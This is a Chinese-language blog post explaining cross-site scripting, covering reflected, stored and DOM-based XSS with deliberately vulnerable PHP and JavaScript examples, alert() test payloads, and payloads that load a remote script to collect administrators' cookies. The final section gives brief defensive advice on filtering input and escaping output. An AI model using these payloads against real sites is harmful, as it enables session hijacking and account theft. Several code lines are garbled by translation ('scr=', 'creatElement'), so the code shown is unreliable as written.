Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 有关xss漏洞攻击与防御的那些事儿

有关xss漏洞攻击与防御的那些事儿

Eswlnk的头像
Eswlnk
2022-06-15 17:27:08
有关xss漏洞攻击与防御的那些事儿-Eswlnk Blog
智能摘要 AI
XSS(跨站脚本攻击)是一种黑客通过在网页中插入恶意脚本,利用用户浏览网页时执行这些脚本进行攻击的技术。XSS主要分为三种类型:反射型XSS、存储型XSS和基于DOM的XSS。反射型XSS需要用户点击恶意链接,存储型XSS则将恶意脚本存储在服务器上供其他用户访问时执行,而基于DOM的XSS则通过操纵客户端DOM结构实现攻击。XSS可被用于窃取用户信息、操控用户行为等恶意目的。防范XSS的关键在于严格验证和过滤用户输入,并对输出内容进行适当的转义处理。

XSS概要

xss跨站点的脚本攻击(交叉站点代码)是指在与 CSS的首字母(CSS)中的首字母进行混用的情况下,将其简称为 xss。

有关xss漏洞攻击与防御的那些事儿-Eswlnk Blog

XSS是什么

xss就是黑客在网页上插入了一段恶意脚本,在使用者阅读网页时,会将脚本代码植入网页,进行特定的恶意程序。

xss的类型

xss通常可以分成三个类别:

第一类:反射式 XSS

反射性 XSS仅仅“反射”了使用者的信息到了浏览器上。这意味着要想成功的攻击,必须要诱导对方“点击”一个恶意的连接。XSS又称为“非持久型 XSS”

第二类:存储式 XSS

存储类型 XSS将“储存”到服务器上的使用者所提供的资料。此 XSS非常稳定

第三类: DOM Based XSS

事实上, XSS不是根据“数据存储在哪个服务器”来区分的,它的作用也被 XSS区分开来,这是由于 DOM Based XSS的特殊原因。这是因为不适当地分析客户机指令码本身所造成的安全性问题。

XSS的攻击原理

反射型XSS的攻击原理

反射性 XSS,是目前应用最广泛,应用最广泛的一种。通过向他人传送带有恶意程式码的 URL,特定的程式码参数会在 URL位址开启时被解析、执行。

其特征为:不可持久性,需要使用者按一下具有指定的参数的连结。

举例说明:

假定一页向网页输出了使用者的参数:

<?Php $input = $_GET["param"]; o "<div>".$input."</div>"?>

通常,当一个人把资料递交给 param时,会显示在网页上,例如:

http://127.0.0.1/xss.php? Param=This is a test!

其效果是:

有关xss漏洞攻击与防御的那些事儿-Eswlnk Blog

他又看了一眼网页的源码,上面写着:

<div>/This is a xss test!</div>

不过,如果您要递交 HTML的一个片段:

http://127.0.0.1/xss.php?param=<script>alert(/This is a xss test!/)</script>

你会看到, alert (/Test!/)在目前的网页上进行了以下操作:

再查看源代码:

<div><script>alert(/This is a xss test!/)</script></div>

用户输入的的Script,脚本已经被写入页面中,这并不是开发者所希望看到的。这就是反射型XSS攻击的原理。

储存型XSS的攻击原理

存储类型的攻击脚本存储在数据库或文件中,服务端读取存储内容回显。这是存储型的。在这种情况下,用户直接打开正常页面,将看到注入

流程是这样的:

坏人向网站发送恶意 XSS代码—>网站存储 XSS代码到数据库—>当其他普通用户再次请求该页面时,服务器向客户端发送已植入 XSS代码的数据—>客户端执行 XSS代码

例子:

<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>留言板</title> </head> <body> <center> <h6>我的留言板</h6><form action="" method="get"> <h6>请输入留言内容</h6> <input type="text" name="xss_input_value" placeholder="输入留言内容"><br> <input type="submit" > </form> <hr> <h6>这里假设我们是正常用户来查看留言这个界面</h6> <?php if(isset($_GET['xss_input_value'])){ $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type="text" value="'.$xss.'">'; }else{ echo '<input type="type" vplaceholder="输出留言内容">'; }}else{ echo '<input type="type" placeholder="输出留言内容">';}?> </center> </body> </html>

这里我们假设第一个输入框的数据存入了数据库,而输出框从数据库中读取输入的数据。

此时在输入框插入恶意的代码

"><script>alert(/This is a xss test!/)</script>(">是用来闭合input标签)

当正常用户想要来查看留言板的内容时这条恶意代码就会被浏览器加载并执行

有关xss漏洞攻击与防御的那些事儿-Eswlnk Blog

DMO Based XSS的攻击原理

DOM- based XSS是一个以文件物件模式为基础的缺陷。DOM是一个独立于平台和编程语言的界面,可以使程式和脚本在实时存取和更新文档的内容、结构和风格,从而使其在网页上呈现。DOM里有许多物件,有些物件是使用者可以操纵的。客户机的脚本可以根据 DOM对网页的内容进行实时的校验和校对,无需向服务器端提交任何资料,而直接从客户机获取 DOM的 DOM中的资料,则在当地进行。

看如下代码:

<script>function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";}</script><div id="t"></div><input type="text" id="text" value="" /><input type="button" id="s" value="write" onclick="test()" />

单击“write”键之后,将包含文字框的内容的超级连接添加到目前网页:

此处, onclick” write”键会呼叫测试()功能。在测试()功能中,网页 DOM的结点被更改,用户的一部分被作为 HTML的 innerHTML被写进了网页,从而产生了 DOM based XSS.

根据以下的资料构建:

' onclick=alert(/xss/) //

在他的键盘上,出现了一行字:

<a href='' onclick=alert(/xss/) //' >testLink</a>

首先,将 href开头的单引号关闭,接着添加 onclick,最后用”//”加一个注解。

单击此新产生的连接,将会运行该指令码,如下所述:

有关xss漏洞攻击与防御的那些事儿-Eswlnk Blog

XSS的运用

说了这么多,所有人都觉得 XSS就是一个窗口,实际上,这个窗口就是为了考验 XSS的存在和使用情况。

现在我们要把 JS编码插进去。

可以这么做

<script scr="js_url"></script>

还是那样

<img src=x onerror=appendChild(creatElement('script')).src='js_url'>

有各种各样的姿态,有各种各样的插件,我们的 js可以做许多事情,比如收集 cookies,控制用户的行为,等等。

例如,我们可以在网页的评论栏中,键入以下的编码:

<script scr="js_url"></script>

系统会在管理员登录后台查看信息的同时,查看管理员的 cookies、后台和浏览器的更新。

xss的防御

为什么 XSS如今这么受欢迎?我相信你们都已经明白了,在输入时没有进行严密的筛选,在输出中也没有执行检测、转换、替代等操作。

因此,防止这种情况发生的最好办法,就是不相信任何人的输入,仔细的审查,筛选,然后在输出过程中,对特定的文字进行转义、替代等。

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
alertdomxssxss 漏洞xss漏洞修复xss漏洞检测工具xss漏洞解决方案javaxss跨站脚本漏洞反射型xss漏洞脚本
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
实现处理敏感函数过国内主流杀软
上一篇
Linux内核与DPDK之HTTP性能对决
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
  • 「日志记录」从零起步揭开路由器漏洞挖掘的面纱
  • 「攻防对抗」NSmartProxy流量特征的真实表现与应用
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

实现处理敏感函数过国内主流杀软
2022-06-13 21:44:20
巧妙解决网站广告被屏蔽的问题|反屏蔽广告插件方法
2022-04-25 20:55:51
关于蜘蛛爬虫名为webprosbot的简单分析
2022-03-28 17:54:34

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.653 秒   |  SQL查询 48 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈